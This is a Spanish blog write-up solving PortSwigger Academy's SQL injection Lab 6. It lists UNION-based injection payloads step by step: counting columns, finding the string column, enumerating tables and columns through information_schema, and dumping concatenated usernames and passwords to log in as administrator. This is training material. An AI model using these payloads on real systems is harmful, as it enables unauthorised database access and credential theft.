Lab 6 SQLi PortSwigger Academy

En esta ocasión vamos a resolver el LAB 6 sopbre SQLi de PortSwigger Academy. Basado en el laboratorio anterior que determina el número de columnas devueltas por una consulta. Ahora que sabemos cómo obtener datos interesantes de la tabla de usuarios, debemos evitar la limitación del número de columnas. Supongamos que la consulta solo devuelve una columna varchar: necesitaríamos combinar las columnas de nombre de usuario y contraseña en un solo valor. Primero confirmemos cuántas columnas se devuelven y cuáles devuelven varchars.

PASO 1: Determinar el número de columnas devueltas por la petición inicial

‘ Order by 1 —

‘ Order by 2 —

‘Order by 3 —

‘Order by 3 — devuelve un mensaje de error, por lo que el número de columnas devueltas por la petición es 2.

PASO 2: Descubrir el número de columnas que contienen dato de tipo string

‘ UNION SELECT ‘a’,NULL —

‘ UNION SELECT NULL,’a’–

La primera petición devuelve un error 500 del servidor mientras que la segunda responde con un código 200, por lo que la segunda columna es la que contiene datos de tipo string.

PASO 3: Determinar el tipo de base de datos

‘ UNION SELECT NULL, version() —

PASO 4: Determinar el nombre las tablas.

‘ UNION SELECT NULL, table_name FROM information_schema.tables —

La tabla que contiene nombres de usuario y contraseñas podría ser la tabla denominada users.

PASO 5: Determinar el nombre de las columnas

‘ UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name=’users’–

Hay dos columnas en la tabla de usuarios con nombre username y password.

PASO 6: Recuperamos la contraseña de usuario

Vamos a utilizar la información anterior para recuperar la contraseña de administrator. Dado que la consulta original contiene un solo campo varchar, vamos a usar la concatenación de cadenas para recuperar los nombres de usuarios como las contraseñas de la base de datos.

‘ UNION SELECT NULL, username|| ‘-‘ ||password FROM users–

PASO 7: Login como administrator

Username: administrator

Password: q17sa83tltve2zuc7r7q

Tags:

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada.